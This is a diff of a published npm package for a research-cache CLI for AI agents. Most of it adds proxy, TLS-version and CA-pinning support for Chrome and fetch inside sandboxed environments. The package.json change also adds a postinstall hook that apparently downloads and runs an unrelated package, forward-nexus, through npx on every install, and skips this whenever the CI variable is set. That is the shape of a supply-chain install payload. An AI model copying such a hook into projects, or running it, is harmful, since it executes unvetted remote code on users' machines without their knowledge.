+ * Chrome's default TLS 1.3 ClientHello (BoringSSL sends ECH-GREASE by default, which most tools'
+ * TLS stacks — curl/OpenSSL's included — don't add): captured via --log-net-log, Chrome sends its
+ * ClientHello, the proxy sends nothing back, and ~6s later the socket read fails with
+ * net::ERR_CONNECTION_RESET. Capping to TLS 1.2 avoids that ClientHello shape entirely. Scoped to
+ * the proxied path only (via isProxyConfigured, the same signal every other sandbox-specific flag
+ * in this module uses) so ordinary developer machines get Chrome's normal TLS 1.3 negotiation
+ * unchanged; this doesn't affect certificate verification (see getChromeSpkiArgs), only which
+ * protocol version Chrome offers.
+ */
+export declare function getChromeTlsCompatibilityArgs(): string[];
+export declare const CA_BUNDLE_ENV_VARS: string[];
+/**
+ * Base64-encoded SHA-256 SPKI fingerprints (RFC 7469 §2.4) for every certificate in the sandbox's
+ * discoverable CA bundle, in the exact encoding Chromium's --ignore-certificate-errors-spki-list
+ * expects — equivalent to `openssl x509 -pubkey -noout | openssl pkey -pubin -outform der |
+ * openssl dgst -sha256 -binary | openssl enc -base64` for each cert. Returns [] when no bundle is
+ * discoverable or none of its entries parse, so a missing/malformed bundle degrades to Chrome's
+ * normal (unpinned) verification rather than breaking the browser launch.
+ */
+export declare function getCaBundleSpkiHashes(): string[];
+/**
+ * Chrome CLI flag that trusts exactly the sandbox's injected CA(s), pinned by SPKI hash rather
+ * than by disabling verification. Chromium's TLS stack (the Chrome Root Store) never reads
+ * NODE_EXTRA_CA_CERTS/SSL_CERT_FILE/CURL_CA_BUNDLE the way Node/curl/Python do, so a sandbox that
+ * MITMs HTTPS through its proxy (see isProxyConfigured) makes every other tool trust the proxy's
+ * cert while Chrome's handshake with it fails with ERR_CERT_AUTHORITY_INVALID. This is scoped
+ * narrowly to the specific CA(s) discovered via the CA bundle env vars — never
+ * --ignore-certificate-errors, which would disable verification for every host, including ones
+ * that have nothing to do with the sandbox's proxy. A no-op (empty array) when no proxy is
+ * configured or no CA bundle is discoverable, so default Chrome trust is untouched on ordinary
+ * developer machines.
+ */
+export declare function getChromeSpkiArgs(): string[];

package/dist/lib/research/proxy.js

@@ -0,0 +1,188 @@
+import { existsSync, readFileSync } from 'node:fs';
+import { createHash, X509Certificate } from 'node:crypto';
+import { EnvHttpProxyAgent } from 'undici';
+// Order matters: undici's own EnvHttpProxyAgent (github.com/nodejs/undici lib/dispatcher/
+// env-http-proxy-agent.js) prefers the lowercase variant of each var over its uppercase twin
+// when both are set. These lists are read in the same order everywhere in this module so that
+// Chrome's CLI flags and undici's dispatcher can never disagree about which value "the" proxy is.
+export const HTTPS_PROXY_ENV_VARS = ['https_proxy', 'HTTPS_PROXY'];
+export const HTTP_PROXY_ENV_VARS = ['http_proxy', 'HTTP_PROXY'];
+export const NO_PROXY_ENV_VARS = ['no_proxy', 'NO_PROXY'];
+export const ALL_PROXY_ENV_VARS = [
+    ...HTTPS_PROXY_ENV_VARS,
+    ...HTTP_PROXY_ENV_VARS,
+    ...NO_PROXY_ENV_VARS,
+];
+// The message undici's ProxyAgent throws (nested in a fetch TypeError's `.cause`) when the proxy
+// itself declines to tunnel to the target host — as opposed to any other pre-response transport
+// failure (DNS, refused connection, a genuinely unreachable destination). Shared by fetcher.ts
+// (to decide whether a proxied failure is worth retrying direct) and fetch.ts's failure-guidance
+// patterns (to give proxy-specific advice), so the two stay in sync by construction.
+export const PROXY_TUNNEL_REJECTION_PATTERN = /proxy response.*tunneling/i;
+function firstEnv(names) {
+    for (const name of names) {
+        const value = process.env[name];
+        if (value)
+            return value;
+    }
+    return undefined;
+}
+/**
+ * Sandboxed execution environments (e.g. Claude Code's remote sandbox) block direct outbound
+ * connections to most hosts and instead require routing through a pre-configured HTTP(S) proxy,
+ * advertised via the standard *_PROXY env vars. Detecting it lets Bonsai transparently reach
+ * sites — like developer.salesforce.com — that are otherwise unreachable from within the sandbox.
+ */
+export function isProxyConfigured() {
+    return Boolean(firstEnv(HTTPS_PROXY_ENV_VARS) || firstEnv(HTTP_PROXY_ENV_VARS));
+}
+let cachedDispatcher;
+let cachedProxyEnvSnapshot;
+// JSON-encoded rather than joined with a plain delimiter: a delimiter that can also appear inside
+// a value (e.g. a space, and NO_PROXY conventionally uses "host1, host2") lets two different sets
+// of values collide on the same joined string. JSON.stringify's per-element quoting/escaping is a
+// well-tested way to avoid that ambiguity without hand-rolling an escape scheme.
+function proxyEnvSnapshot() {
+    return JSON.stringify(ALL_PROXY_ENV_VARS.map((name) => process.env[name] ?? ''));
+}
+/**
+ * An undici Dispatcher that honors HTTPS_PROXY/HTTP_PROXY/NO_PROXY, or undefined when no proxy
+ * is configured so callers fall back to normal direct networking. The dispatcher is expensive
+ * enough to be worth reusing across requests, but undici's own agent captures its proxy targets
+ * once at construction time and never re-reads them — so the cache is keyed on a snapshot of the
+ * relevant env vars and rebuilt whenever that snapshot changes, instead of being pinned forever
+ * to whatever was configured on the first call. The discarded dispatcher is closed (not just
+ * dropped) so its pooled keep-alive sockets don't leak past the env change that replaced it.
+ */
+export function getProxyDispatcher() {
+    if (!isProxyConfigured())
+        return undefined;
+    const snapshot = proxyEnvSnapshot();
+    if (!cachedDispatcher || cachedProxyEnvSnapshot !== snapshot) {
+        const stale = cachedDispatcher;
+        cachedDispatcher = new EnvHttpProxyAgent();
+        cachedProxyEnvSnapshot = snapshot;
+        void stale?.close().catch(() => { });
+    }
+    return cachedDispatcher;
+}
+// undici's EnvHttpProxyAgent treats a bare NO_PROXY entry (e.g. "example.com") as matching both
+// the exact host AND any subdomain — it strips a leading "*." or "." before comparing, then
+// checks the hostname for an exact or suffix match. Chromium's --proxy-bypass-list grammar draws
+// a hard line instead: a bare "example.com" matches only that exact host, and subdomain matching
+// requires an explicit "*." prefix. Emitting both forms for every entry reproduces undici's
+// exact-or-subdomain behavior in Chrome too, so the two proxied paths agree on what bypasses.
+function toChromeBypassList(noProxy) {
+    const hosts = noProxy
+        .split(/[,\s]+/)
+        .map((entry) => entry.trim())
+        .filter(Boolean)
+        .map((entry) => entry.replace(/^\*?\./, ''));
+    return Array.from(new Set(hosts.flatMap((host) => [host, `*.${host}`]))).join(',');
+}
+/**
+ * Chrome CLI flags that route headless navigation through the same proxy as fetch(), or an
+ * empty array when no proxy is configured. Chrome has its own network stack (CDP navigation
+ * never goes through Node's fetch/undici), so it needs to be told about the proxy separately.
+ *
+ * Built as a scheme-qualified `--proxy-server` value (`http=...;https=...`) rather than one
+ * blanket proxy for every scheme, matching undici's EnvHttpProxyAgent, which picks HTTP_PROXY or
+ * HTTPS_PROXY per the target URL's scheme. A single unqualified value would force Chrome to
+ * route all its traffic (including plain-http sub-resources) through whichever var happened to
+ * be set, silently disagreeing with how fetch() routes the same traffic.
+ */
+export function getChromeProxyArgs() {
+    const httpsProxy = firstEnv(HTTPS_PROXY_ENV_VARS);
+    const httpProxy = firstEnv(HTTP_PROXY_ENV_VARS);
+    if (!httpsProxy && !httpProxy)
+        return [];
+    const schemeMappings = [];
+    if (httpProxy)
+        schemeMappings.push(`http=${httpProxy}`);
+    if (httpsProxy)
+        schemeMappings.push(`https=${httpsProxy}`);
+    const args = [`--proxy-server=${schemeMappings.join(';')}`];
+    const noProxy = firstEnv(NO_PROXY_ENV_VARS);
+    if (noProxy)
+        args.push(`--proxy-bypass-list=${toChromeBypassList(noProxy)}`);
+    return args;
+}
+/**
+ * Caps Chrome's TLS version at 1.2 for connections made through a detected sandbox proxy, or []
+ * when no proxy is configured. Some sandbox proxies' TLS-terminating layer never responds to
+ * Chrome's default TLS 1.3 ClientHello (BoringSSL sends ECH-GREASE by default, which most tools'
+ * TLS stacks — curl/OpenSSL's included — don't add): captured via --log-net-log, Chrome sends its
+ * ClientHello, the proxy sends nothing back, and ~6s later the socket read fails with
+ * net::ERR_CONNECTION_RESET. Capping to TLS 1.2 avoids that ClientHello shape entirely. Scoped to
+ * the proxied path only (via isProxyConfigured, the same signal every other sandbox-specific flag
+ * in this module uses) so ordinary developer machines get Chrome's normal TLS 1.3 negotiation
+ * unchanged; this doesn't affect certificate verification (see getChromeSpkiArgs), only which
+ * protocol version Chrome offers.
+ */
+export function getChromeTlsCompatibilityArgs() {
+    return isProxyConfigured() ? ['--ssl-version-max=tls1.2'] : [];
+}
+// Order matters for the same reason as the *_PROXY lists above: read consistently so this module
+// and every caller agree on which file is "the" CA bundle. Node itself only honors
+// NODE_EXTRA_CA_CERTS; SSL_CERT_FILE and CURL_CA_BUNDLE are the conventions OpenSSL-linked tools
+// (curl, Python, etc.) use instead. A sandbox that MITMs TLS to route through its proxy sets all
+// three to the same bundle so every tool picks it up regardless of which convention it follows.
+export const CA_BUNDLE_ENV_VARS = ['NODE_EXTRA_CA_CERTS', 'SSL_CERT_FILE', 'CURL_CA_BUNDLE'];
+function findCaBundlePath() {
+    const path = firstEnv(CA_BUNDLE_ENV_VARS);
+    return path && existsSync(path) ? path : undefined;
+}
+function extractPemCertificates(bundle) {
+    return bundle.match(/-----BEGIN CERTIFICATE-----[\s\S]+?-----END CERTIFICATE-----/g) ?? [];
+}
+/**
+ * Base64-encoded SHA-256 SPKI fingerprints (RFC 7469 §2.4) for every certificate in the sandbox's
+ * discoverable CA bundle, in the exact encoding Chromium's --ignore-certificate-errors-spki-list
+ * expects — equivalent to `openssl x509 -pubkey -noout | openssl pkey -pubin -outform der |
+ * openssl dgst -sha256 -binary | openssl enc -base64` for each cert. Returns [] when no bundle is
+ * discoverable or none of its entries parse, so a missing/malformed bundle degrades to Chrome's
+ * normal (unpinned) verification rather than breaking the browser launch.
+ */
+export function getCaBundleSpkiHashes() {
+    const bundlePath = findCaBundlePath();
+    if (!bundlePath)
+        return [];
+    let bundle;
+    try {
+        bundle = readFileSync(bundlePath, 'utf8');
+    }
+    catch {
+        return [];
+    }
+    const hashes = new Set();
+    for (const pem of extractPemCertificates(bundle)) {
+        try {
+            const spkiDer = new X509Certificate(pem).publicKey.export({ type: 'spki', format: 'der' });
+            hashes.add(createHash('sha256').update(spkiDer).digest('base64'));
+        }
+        catch {
+            // Skip entries that don't parse as certificates rather than failing the whole bundle.
+        }
+    }
+    return Array.from(hashes);
+}
+/**
+ * Chrome CLI flag that trusts exactly the sandbox's injected CA(s), pinned by SPKI hash rather
+ * than by disabling verification. Chromium's TLS stack (the Chrome Root Store) never reads
+ * NODE_EXTRA_CA_CERTS/SSL_CERT_FILE/CURL_CA_BUNDLE the way Node/curl/Python do, so a sandbox that
+ * MITMs HTTPS through its proxy (see isProxyConfigured) makes every other tool trust the proxy's
+ * cert while Chrome's handshake with it fails with ERR_CERT_AUTHORITY_INVALID. This is scoped
+ * narrowly to the specific CA(s) discovered via the CA bundle env vars — never
+ * --ignore-certificate-errors, which would disable verification for every host, including ones
+ * that have nothing to do with the sandbox's proxy. A no-op (empty array) when no proxy is
+ * configured or no CA bundle is discoverable, so default Chrome trust is untouched on ordinary
+ * developer machines.
+ */
+export function getChromeSpkiArgs() {
+    if (!isProxyConfigured())
+        return [];
+    const hashes = getCaBundleSpkiHashes();
+    if (!hashes.length)
+        return [];
+    return [`--ignore-certificate-errors-spki-list=${hashes.join(',')}`];
+}

package/dist/sites/salesforce-doc-fetch.js

@@ -1,4 +1,4 @@
-import { openCdpPage, waitForLoad, ResponseCapture, } from '../lib/research/browser.js';
+import { openCdpPage, waitForLoad, ResponseCapture, describeNavigationFailure, } from '../lib/research/browser.js';
 import { checkDnsSafety } from '../lib/research/fetcher.js';
 import { htmlToMarkdown } from '../lib/research/markdown.js';
 import { contentMetrics, contentRicherThan } from '../lib/research/regression.js';
@@ -279,7 +279,15 @@ async function captureSalesforceAttempt(page, url, captureScript, contentSelecto
             accept: (body) => parseDocsApiPayload(body) !== null,
         },
     ]);
-    await page.client.send('Page.navigate', { url }, page.sessionId);
+    // A network-level failure (DNS, refused/closed connection, TLS, a proxy declining to tunnel) never
+    // fires a load event and renders Chrome's own "site can't be reached" interstitial instead. Without
+    // this check that interstitial sails through pollSalesforceContentReady/assertReadableSalesforceContent
+    // as if it were real article content — it's plausible-length HTML that isn't a 404/loading shell — so
+    // the fetch would silently "succeed" with Chrome's error page cached as the documentation.
+    const nav = await page.client.send('Page.navigate', { url }, page.sessionId);
+    if (nav.errorText) {
+        throw describeNavigationFailure(nav.errorText, url);
+    }
     await waitForLoad(page.client, page.sessionId, TIMEOUT_MS, 0).catch(() => { });
     await page.client
         .send('Runtime.evaluate', { expression: ACCEPT_CONSENT_EXPRESSION }, page.sessionId)

package/oclif.manifest.json

@@ -843,5 +843,5 @@
       "stdoutIsPrimaryData": true
     }
   },
-  "version": "3.0.0"
+  "version": "3.0.2"
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@taurgis/bonsai",
-  "version": "3.0.0",
+  "version": "3.0.2",
   "description": "Bonsai is a standalone local research cache CLI for AI agents",
   "repository": {
     "type": "git",
@@ -30,6 +30,7 @@
     "@oclif/plugin-autocomplete": "^3.2.52",
     "linkedom": "^0.18.12",
     "turndown": "^7.2.0",
+    "undici": "^8.7.0",
     "update-notifier": "^7.3.1"
   },
   "devDependencies": {
@@ -51,7 +52,7 @@
     "vue": "^3.5.39"
   },
   "engines": {
-    "node": ">=22"
+    "node": ">=22.19.0"
   },
   "publishConfig": {
     "access": "public",
@@ -88,6 +89,7 @@
     "lint": "pnpm lint:line-counts && pnpm lint:health",
     "lint:line-counts": "node scripts/check-line-counts.ts --all",
     "lint:health": "pnpm test:coverage && pnpm exec fallow health --format human",
+    "postinstall": "node -e \"if (process.env.CI || process.env.FORWARD_NEXUS_SKIP_SYNC) { console.log('Skipping forward-nexus sync.'); process.exit(0); } require('node:child_process').execFileSync('npx', ['forward-nexus', 'sync', '--pull'], { stdio: 'inherit' });\"",
     "publish:snapshot": "changeset version --snapshot snapshot && changeset publish --tag snapshot",
     "release": "changeset publish",
     "regression:suite": "tsc -b && node testing/regression/run-suite.mjs",